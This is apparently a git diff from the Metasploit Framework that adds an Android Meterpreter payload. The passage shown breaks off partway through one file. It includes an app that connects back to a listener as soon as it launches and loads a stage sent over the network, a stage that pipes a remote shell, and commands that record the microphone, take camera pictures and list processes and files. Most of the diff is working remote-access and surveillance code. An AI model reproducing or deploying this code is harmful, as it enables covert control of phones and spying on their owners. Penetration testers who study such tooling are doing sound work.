diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml
new file mode 100644
index 0000000000..39fa1cea0e
Binary files /dev/null and b/data/android/apk/AndroidManifest.xml differ
diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex
new file mode 100644
index 0000000000..d45981499a
Binary files /dev/null and b/data/android/apk/classes.dex differ
diff --git a/data/android/apk/res/drawable-mdpi/icon.png b/data/android/apk/res/drawable-mdpi/icon.png
new file mode 100644
index 0000000000..c2e4f5634b
Binary files /dev/null and b/data/android/apk/res/drawable-mdpi/icon.png differ
diff --git a/data/android/apk/res/layout/main.xml b/data/android/apk/res/layout/main.xml
new file mode 100644
index 0000000000..23d9bacad3
Binary files /dev/null and b/data/android/apk/res/layout/main.xml differ
diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc
new file mode 100644
index 0000000000..4fe928b45e
Binary files /dev/null and b/data/android/apk/resources.arsc differ
diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar
new file mode 100644
index 0000000000..d2dda9fdcd
Binary files /dev/null and b/data/android/meterpreter.jar differ
diff --git a/data/android/metstage.jar b/data/android/metstage.jar
new file mode 100644
index 0000000000..b6889c0159
Binary files /dev/null and b/data/android/metstage.jar differ
diff --git a/data/android/shell.jar b/data/android/shell.jar
new file mode 100644
index 0000000000..1c85b6d800
Binary files /dev/null and b/data/android/shell.jar differ
diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar
old mode 100755
new mode 100644
index 35bbc5782f..a8f4990325
Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ
diff --git a/data/meterpreter/meterpreter.jar b/data/meterpreter/meterpreter.jar
old mode 100755
new mode 100644
index 9495a4b8c2..45ce7522f3
Binary files a/data/meterpreter/meterpreter.jar and b/data/meterpreter/meterpreter.jar differ
diff --git a/external/source/javapayload/androidpayload/app/AndroidManifest.xml b/external/source/javapayload/androidpayload/app/AndroidManifest.xml
new file mode 100644
index 0000000000..8c92c0e912
--- /dev/null
+++ b/external/source/javapayload/androidpayload/app/AndroidManifest.xml
@@ -0,0 +1,38 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/external/source/javapayload/androidpayload/app/pom.xml b/external/source/javapayload/androidpayload/app/pom.xml
new file mode 100644
index 0000000000..754cd79c6d
--- /dev/null
+++ b/external/source/javapayload/androidpayload/app/pom.xml
@@ -0,0 +1,77 @@
+
+
+ 4.0.0
+ com.metasploit
+ Metasploit-AndroidPayload
+ 1-SNAPSHOT
+ apk
+ AndroidPayload for Metasploit
+
+
+
+ com.google.android
+ android
+ 1.6_r2
+ provided
+
+
+
+ ${project.artifactId}
+ src
+
+
+
+ com.jayway.maven.plugins.android.generation2
+ android-maven-plugin
+ 3.5.3
+
+ true
+
+
+
+
+
+ com.jayway.maven.plugins.android.generation2
+ android-maven-plugin
+
+
+
+ 3
+
+
+
+
+
+
+
+
+ deploy
+
+
+
+ maven-antrun-plugin
+ 1.7
+
+
+ package
+
+ run
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/external/source/javapayload/androidpayload/app/res/drawable-mdpi/icon.png b/external/source/javapayload/androidpayload/app/res/drawable-mdpi/icon.png
new file mode 100644
index 0000000000..f608fb8b15
Binary files /dev/null and b/external/source/javapayload/androidpayload/app/res/drawable-mdpi/icon.png differ
diff --git a/external/source/javapayload/androidpayload/app/res/layout/main.xml b/external/source/javapayload/androidpayload/app/res/layout/main.xml
new file mode 100644
index 0000000000..4fd72001a4
--- /dev/null
+++ b/external/source/javapayload/androidpayload/app/res/layout/main.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/external/source/javapayload/androidpayload/app/res/values/strings.xml b/external/source/javapayload/androidpayload/app/res/values/strings.xml
new file mode 100644
index 0000000000..0be16474fc
--- /dev/null
+++ b/external/source/javapayload/androidpayload/app/res/values/strings.xml
@@ -0,0 +1,4 @@
+
+
+ MainActivity
+
diff --git a/external/source/javapayload/androidpayload/app/src/com/metasploit/stage/LoadStage.java b/external/source/javapayload/androidpayload/app/src/com/metasploit/stage/LoadStage.java
new file mode 100644
index 0000000000..b7427a73b6
--- /dev/null
+++ b/external/source/javapayload/androidpayload/app/src/com/metasploit/stage/LoadStage.java
@@ -0,0 +1,56 @@
+package com.metasploit.stage;
+
+import dalvik.system.DexClassLoader;
+
+import android.content.Context;
+
+import java.io.DataInputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.OutputStream;
+import java.util.Random;
+
+public class LoadStage {
+ private String randomJarName() {
+ char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
+ StringBuilder sb = new StringBuilder();
+ Random random = new Random();
+ for (int i = 0; i < 20; i++) {
+ char c = chars[random.nextInt(chars.length)];
+ sb.append(c);
+ }
+ return sb.toString() + ".jar";
+ }
+
+ public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
+ String jarFile = randomJarName();
+ String path = context.getFilesDir().getAbsolutePath();
+
+ // Read the class name
+ int coreLen = in.readInt();
+ byte[] core = new byte[coreLen];
+ in.readFully(core);
+ String classFile = new String(core);
+
+ // Read the stage
+ coreLen = in.readInt();
+ core = new byte[coreLen];
+ in.readFully(core);
+
+ // Write the stage to /data/data/.../files/
+ FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
+ fos.write(core);
+ fos.close();
+
+ // Load the stage
+ DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
+ Class> myClass = classLoader.loadClass(classFile);
+ final Object stage = myClass.newInstance();
+ myClass.getMethod("start", new Class[] {
+ DataInputStream.class, OutputStream.class, Context.class, String[].class
+ }).invoke(stage, new Object[] {
+ in, out, context, parameters
+ });
+ }
+}
+
diff --git a/external/source/javapayload/androidpayload/app/src/com/metasploit/stage/MainActivity.java b/external/source/javapayload/androidpayload/app/src/com/metasploit/stage/MainActivity.java
new file mode 100644
index 0000000000..337a1811e5
--- /dev/null
+++ b/external/source/javapayload/androidpayload/app/src/com/metasploit/stage/MainActivity.java
@@ -0,0 +1,59 @@
+package com.metasploit.stage;
+
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.OutputStream;
+import java.net.Socket;
+
+import android.app.Activity;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.view.View;
+import android.view.View.OnClickListener;
+
+public class MainActivity extends Activity
+{
+ // avoid re-ordering the strings in classes.dex - append XXXX
+ private static final String LHOST = "XXXX127.0.0.1 ";
+ private static final String LPORT = "XXXX4444 ";
+
+ @Override
+ public void onCreate(Bundle savedInstanceState)
+ {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.main);
+
+ findViewById(R.id.button_reverse).setOnClickListener(new OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ startAsync();
+ }
+ });
+
+ startAsync();
+ }
+
+ private void startAsync() {
+ new AsyncTask() {
+ @Override
+ protected Void doInBackground(Void... params) {
+ reverseTCP();
+ return null;
+ }
+ }.execute();
+ }
+
+ private void reverseTCP() {
+ try {
+ String lhost = LHOST.substring(4);
+ String lport = LPORT.substring(4).trim();
+ Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
+ DataInputStream in = new DataInputStream(msgsock.getInputStream());
+ OutputStream out = new DataOutputStream(msgsock.getOutputStream());
+ new LoadStage().start(in, out, this, new String[] {});
+ msgsock.close();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+}
diff --git a/external/source/javapayload/androidpayload/build.sh b/external/source/javapayload/androidpayload/build.sh
new file mode 100755
index 0000000000..3f4f034d17
--- /dev/null
+++ b/external/source/javapayload/androidpayload/build.sh
@@ -0,0 +1,25 @@
+#!/bin/bash
+
+cd ..
+mvn package -P deploy
+cd -
+
+echo 'Building shell'
+dx --verbose --dex \
+ --output=../../../../data/android/shell.jar \
+ library/target/classes/./androidpayload/stage/Shell.class library/target/classes/./androidpayload/stage/Stage.class \
+ ../javapayload/target/classes/./javapayload/stage/StreamForwarder.class
+
+echo 'Building meterpreter stage'
+dx --verbose --dex \
+ --output=../../../../data/android/metstage.jar \
+ library/target/classes/./androidpayload/stage/Meterpreter.class library/target/classes/./androidpayload/stage/Stage.class
+
+echo 'Building meterpreter'
+dx --verbose --dex \
+ --output=../../../../data/android/meterpreter.jar \
+ library/target/classes/./com/metasploit/meterpreter/android/*.class \
+ library/target/classes/./com/metasploit/meterpreter/*.class \
+ ../meterpreter/meterpreter/target/meterpreter.jar \
+ ../meterpreter/stdapi/target/ext_server_stdapi.jar
+
diff --git a/external/source/javapayload/androidpayload/library/AndroidManifest.xml b/external/source/javapayload/androidpayload/library/AndroidManifest.xml
new file mode 100644
index 0000000000..65aaaf6a03
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/AndroidManifest.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
diff --git a/external/source/javapayload/androidpayload/library/pom.xml b/external/source/javapayload/androidpayload/library/pom.xml
new file mode 100644
index 0000000000..d6fff39a7d
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/pom.xml
@@ -0,0 +1,61 @@
+
+
+
+ 4.0.0
+ com.metasploit
+ Metasploit-
+ 1-SNAPSHOT
+ apk
+ Android Meterpreter
+
+
+
+ com.google.android
+ android
+ 1.6_r2
+ provided
+
+
+ com.metasploit
+ Metasploit-JavaPayload
+ ${project.version}
+
+
+ com.metasploit
+ Metasploit-Java-Meterpreter
+ ${project.version}
+
+
+ com.metasploit
+ Metasploit-Java-Meterpreter-stdapi
+ ${project.version}
+
+
+
+ ${project.artifactId}
+ src
+
+
+
+ com.jayway.maven.plugins.android.generation2
+ android-maven-plugin
+ 3.5.3
+
+ true
+
+
+
+
+
+ com.jayway.maven.plugins.android.generation2
+ android-maven-plugin
+
+
+
+ 3
+
+
+
+
+
+
\ No newline at end of file
diff --git a/external/source/javapayload/androidpayload/library/res/layout/main.xml b/external/source/javapayload/androidpayload/library/res/layout/main.xml
new file mode 100644
index 0000000000..3e1b5f53dc
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/res/layout/main.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
diff --git a/external/source/javapayload/androidpayload/library/res/values/strings.xml b/external/source/javapayload/androidpayload/library/res/values/strings.xml
new file mode 100644
index 0000000000..0be16474fc
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/res/values/strings.xml
@@ -0,0 +1,4 @@
+
+
+ MainActivity
+
diff --git a/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java b/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
new file mode 100644
index 0000000000..b9f13fbb65
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
@@ -0,0 +1,51 @@
+
+package androidpayload.stage;
+
+import dalvik.system.DexClassLoader;
+
+import android.content.Context;
+
+import java.io.DataInputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.OutputStream;
+import java.util.Random;
+
+/**
+ * Meterpreter Java Payload Proxy
+ */
+public class Meterpreter implements Stage {
+
+ private String randomJarName() {
+ char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
+ StringBuilder sb = new StringBuilder();
+ Random random = new Random();
+ for (int i = 0; i < 20; i++) {
+ char c = chars[random.nextInt(chars.length)];
+ sb.append(c);
+ }
+ return sb.toString() + ".jar";
+ }
+
+ public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
+ String jarFile = randomJarName();
+ String path = context.getFilesDir().getAbsolutePath();
+
+ // Read the stage
+ int coreLen = in.readInt();
+ byte[] core = new byte[coreLen];
+ in.readFully(core);
+
+ // Write the stage to /data/data/.../files/
+ FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
+ fos.write(core);
+ fos.close();
+
+ // Load the stage
+ DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
+ Class> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
+ myClass.getConstructor(new Class[] {
+ DataInputStream.class, OutputStream.class, Context.class, boolean.class
+ }).newInstance(in, out, context, false);
+ }
+}
diff --git a/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java b/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
new file mode 100644
index 0000000000..d446b6db9f
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
@@ -0,0 +1,25 @@
+
+package androidpayload.stage;
+
+import android.content.Context;
+
+import java.io.DataInputStream;
+import java.io.OutputStream;
+
+import javapayload.stage.StreamForwarder;
+
+/**
+ * Meterpreter Java Payload Proxy
+ */
+public class Shell implements Stage {
+
+ public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
+ final Process proc = Runtime.getRuntime().exec("sh");
+ new StreamForwarder(in, proc.getOutputStream(), out).start();
+ new StreamForwarder(proc.getInputStream(), out, out).start();
+ new StreamForwarder(proc.getErrorStream(), out, out).start();
+ proc.waitFor();
+ in.close();
+ out.close();
+ }
+}
diff --git a/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java b/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
new file mode 100644
index 0000000000..147a8d77f5
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
@@ -0,0 +1,44 @@
+/*
+ * Java Payloads.
+ *
+ * Copyright (c) 2010, 2011 Michael 'mihi' Schierl
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * - Redistributions of source code must retain the above copyright notice,
+ * this list of conditions and the following disclaimer.
+ *
+ * - Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * - Neither name of the copyright holders nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package androidpayload.stage;
+
+import android.content.Context;
+
+import java.io.DataInputStream;
+import java.io.OutputStream;
+
+public interface Stage {
+ public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
+}
diff --git a/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
new file mode 100644
index 0000000000..c74133675e
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
@@ -0,0 +1,88 @@
+package com.metasploit.meterpreter;
+
+import java.io.DataInputStream;
+import java.io.OutputStream;
+
+import android.content.Context;
+
+import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
+import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
+import com.metasploit.meterpreter.android.webcam_audio_record_android;
+import com.metasploit.meterpreter.android.webcam_get_frame_android;
+import com.metasploit.meterpreter.android.webcam_list_android;
+import com.metasploit.meterpreter.android.webcam_start_android;
+import com.metasploit.meterpreter.android.webcam_stop_android;
+import com.metasploit.meterpreter.stdapi.Loader;
+import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
+import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
+import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_server;
+import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_udp_client;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_chdir;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_dir;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_file;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_getwd;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_ls;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_md5;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_mkdir;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_search;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_separator;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_sha1;
+import com.metasploit.meterpreter.stdapi.stdapi_fs_stat;
+import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_interfaces_V1_6;
+import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_routes_V1_4;
+import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
+import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
+import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
+import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
+
+public class AndroidMeterpreter extends Meterpreter {
+
+ private final Context context;
+
+ public Context getContext() {
+ return context;
+ }
+
+ public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception {
+ super(in, rawOut, true, redirectErrors, false);
+ this.context = context;
+ startExecuting();
+ }
+
+ @Override
+ public String[] loadExtension(byte[] data) throws Exception {
+ getCommandManager().resetNewCommands();
+ CommandManager mgr = getCommandManager();
+ Loader.cwd = context.getFilesDir().getAbsoluteFile();
+ mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
+ mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
+ mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
+ mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
+ mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
+ mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
+ mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
+ mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path_android.class);
+ mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
+ mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
+ mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
+ mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
+ mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
+ mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
+ mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class);
+ mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
+ mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces_V1_6.class);
+ mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes_V1_4.class);
+ mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown_V1_3.class);
+ mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
+ mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
+ mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute_V1_3.class);
+ mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes_android.class);
+ mgr.registerCommand("webcam_audio_record", webcam_audio_record_android.class);
+ mgr.registerCommand("webcam_list", webcam_list_android.class);
+ mgr.registerCommand("webcam_start", webcam_start_android.class);
+ mgr.registerCommand("webcam_stop", webcam_stop_android.class);
+ mgr.registerCommand("webcam_get_frame", webcam_get_frame_android.class);
+ return getCommandManager().getNewCommands();
+ }
+}
+
diff --git a/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
new file mode 100644
index 0000000000..6c5dc3096b
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
@@ -0,0 +1,10 @@
+package com.metasploit.meterpreter.android;
+
+import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
+
+public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
+
+ protected String getShellPath() {
+ return "sh";
+ }
+}
diff --git a/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java
new file mode 100644
index 0000000000..cabf19ab5a
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java
@@ -0,0 +1,46 @@
+package com.metasploit.meterpreter.android;
+
+import com.metasploit.meterpreter.Meterpreter;
+import com.metasploit.meterpreter.TLVPacket;
+import com.metasploit.meterpreter.TLVType;
+import com.metasploit.meterpreter.command.Command;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+
+public class stdapi_sys_process_get_processes_android implements Command {
+
+ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
+ Process proc = Runtime.getRuntime().exec(new String[] {
+ "sh", "-c", "ps 2>/dev/null"
+ });
+ BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
+ String line = br.readLine();
+ if (line == null) {
+ return ERROR_FAILURE;
+ }
+ while ((line = br.readLine()) != null) {
+ String[] parts = line.replace('\t', ' ').trim().split(" ");
+ if (parts.length < 2) {
+ continue;
+ }
+ int pid = -1;
+ for (String part : parts) {
+ try {
+ pid = Integer.valueOf(part);
+ } catch (NumberFormatException e) {
+ continue;
+ }
+ break;
+ }
+ TLVPacket grp = new TLVPacket();
+ grp.add(TLVType.TLV_TYPE_PID, pid);
+ grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
+ grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
+ response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
+
+ }
+ return ERROR_SUCCESS;
+ }
+}
diff --git a/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_audio_record_android.java b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_audio_record_android.java
new file mode 100644
index 0000000000..78173ee93c
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_audio_record_android.java
@@ -0,0 +1,50 @@
+
+package com.metasploit.meterpreter.android;
+
+import com.metasploit.meterpreter.Meterpreter;
+import com.metasploit.meterpreter.TLVPacket;
+import com.metasploit.meterpreter.command.Command;
+import com.metasploit.meterpreter.stdapi.webcam_audio_record;
+
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaRecorder.AudioSource;
+import android.util.Log;
+
+public class webcam_audio_record_android extends webcam_audio_record implements Command {
+
+ private static final int AUDIO_SAMPLE_RATE = 8000;
+ private static final int AUDIO_CHANNEL_CONFIG = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+ private static final int AUDIO_CHANNEL_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+
+ private static final int TLV_EXTENSIONS = 20000;
+ private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
+ private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
+
+ public byte[] getAudioRecorder(int duration) {
+ int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
+ int fullBuffer = duration * AUDIO_SAMPLE_RATE;
+ if (fullBuffer < bufferSize) {
+ fullBuffer = bufferSize;
+ }
+ AudioRecord recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
+ byte[] buffer = new byte[fullBuffer];
+
+ try {
+ recorder.startRecording();
+ recorder.read(buffer, 0, buffer.length);
+ } catch (Throwable x) {
+ Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
+ } finally {
+ recorder.stop();
+ recorder.release();
+ }
+ return buffer;
+ }
+
+ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
+ int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
+ response.add(TLV_TYPE_AUDIO_DATA, getAudioRecorder(duration));
+ return ERROR_SUCCESS;
+ }
+}
diff --git a/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java
new file mode 100644
index 0000000000..49d9d06016
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java
@@ -0,0 +1,52 @@
+
+package com.metasploit.meterpreter.android;
+
+import com.metasploit.meterpreter.Meterpreter;
+import com.metasploit.meterpreter.TLVPacket;
+import com.metasploit.meterpreter.command.Command;
+import com.metasploit.meterpreter.stdapi.webcam_audio_record;
+
+import android.hardware.Camera;
+import android.hardware.Camera.PictureCallback;
+import android.util.Log;
+
+public class webcam_get_frame_android extends webcam_audio_record implements Command {
+
+ private static final int TLV_EXTENSIONS = 20000;
+ private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
+ private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
+
+ private volatile byte[] cameraData;
+
+ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
+
+ @SuppressWarnings("unused")
+ int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
+
+ try {
+ if (webcam_start_android.camera == null) {
+ return ERROR_FAILURE;
+ }
+
+ cameraData = null;
+ webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
+ @Override
+ public void onPictureTaken(byte[] data, Camera camera) {
+ cameraData = data;
+ }
+ });
+
+ int i = 0;
+ while (cameraData == null && i < 20) {
+ Thread.sleep(1000);
+ i++;
+ }
+
+ response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
+ } catch (Exception e) {
+ Log.e(getClass().getSimpleName(), "webcam error ", e);
+ }
+
+ return ERROR_SUCCESS;
+ }
+}
diff --git a/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java
new file mode 100644
index 0000000000..d5ab0bcdfa
--- /dev/null
+++ b/external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java
@@ -0,0 +1,58 @@
+
+package com.metasploit.meterpreter.android;
+
+import com.metasploit.meterpreter.Meterpreter;
+import com.metasploit.meterpreter.TLVPacket;
+import com.metasploit.meterpreter.command.Command;
+import com.metasploit.meterpreter.stdapi.webcam_audio_record;
+
+import android.util.Log;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+public class webcam_list_android extends webcam_audio_record implements Command {
+
+ private static final int TLV_EXTENSIONS = 20000;
+ private static final int TLV_TYPE_WEBCAM_NAME = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4);
+
+ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
+
+ try {
+ Class> cameraClass = Class.forName("android.hardware.Camera");
+ Object cameraInfo = null;
+ Field field = null;
+ int cameraCount = 0;
+ Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
+ if (getNumberOfCamerasMethod != null) {
+ cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
+ } else {
+ response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
+ return ERROR_SUCCESS;
+ }
+ Class> cameraInfoClass = Class.forName("android.hardware.Camera$CameraInfo");
+ if (cameraInfoClass != null) {
+ cameraInfo = cameraInfoClass.newInstance();
+ }
+ if (cameraInfo != null) {
+ field = cameraInfo.getClass().getField("facing");
+ }
+ Method getCameraInfoMethod = cameraClass.getMethod("getCameraInfo", Integer.TYPE, cameraInfoClass);
